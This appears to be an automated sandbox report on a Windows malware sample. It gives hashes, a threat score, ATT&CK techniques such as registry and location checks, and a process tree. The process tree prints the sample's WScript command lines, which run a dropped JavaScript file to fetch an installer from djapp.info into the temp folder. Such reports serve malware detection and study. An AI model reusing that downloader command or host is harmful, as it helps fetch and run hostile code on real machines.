9054054d38316e7d0026a71bbb55fdf023d2616deed4997b32900178b056f4f6

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
07/05/2024, 01:49

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General

Target

1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe
Size

184KB
MD5

1f08dba1c294a753b71f99ad678916c5
SHA1

feb848a9f2d0259274d4b585def9437ac5972313
SHA256

9054054d38316e7d0026a71bbb55fdf023d2616deed4997b32900178b056f4f6
SHA512

ba6044796e764f1298978b08269616152ca6d1051a463e31fe51eaba47544a0c841786c930d149c6b06dfed1a9c80c45cf6e74a8f2ca85fbbe7dcad2745d3d42
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3C:/7BSH8zUB+nGESaaRvoB7FJNndnb

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
8	212	WScript.exe
35	2540	WScript.exe
38	432	WScript.exe
52	3068	WScript.exe
55	1756	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000_Classes\Local Settings	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 212	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	84
PID 8 wrote to memory of 212	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	84
PID 8 wrote to memory of 212	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	84
PID 8 wrote to memory of 2540	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	98
PID 8 wrote to memory of 2540	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	98
PID 8 wrote to memory of 2540	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	98
PID 8 wrote to memory of 432	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	99
PID 8 wrote to memory of 432	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	99
PID 8 wrote to memory of 432	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	99
PID 8 wrote to memory of 3068	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	102
PID 8 wrote to memory of 3068	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	102
PID 8 wrote to memory of 3068	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	102
PID 8 wrote to memory of 1756	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	103
PID 8 wrote to memory of 1756	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	103
PID 8 wrote to memory of 1756	8	1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe	103

C:\Users\Admin\AppData\Local\Temp\1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\1f08dba1c294a753b71f99ad678916c5_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf47F6.js" http://www.djapp.info/?domain=pqzuVvGjFp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf47F6.exe
  2⤵
  - Blocklisted process makes network request
  PID:212
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf47F6.js" http://www.djapp.info/?domain=pqzuVvGjFp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf47F6.exe
  2⤵
  - Blocklisted process makes network request
  PID:2540
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf47F6.js" http://www.djapp.info/?domain=pqzuVvGjFp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf47F6.exe
  2⤵
  - Blocklisted process makes network request
  PID:432
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf47F6.js" http://www.djapp.info/?domain=pqzuVvGjFp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf47F6.exe
  2⤵
  - Blocklisted process makes network request
  PID:3068
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf47F6.js" http://www.djapp.info/?domain=pqzuVvGjFp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf47F6.exe
  2⤵
  - Blocklisted process makes network request
  PID:1756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf47F6.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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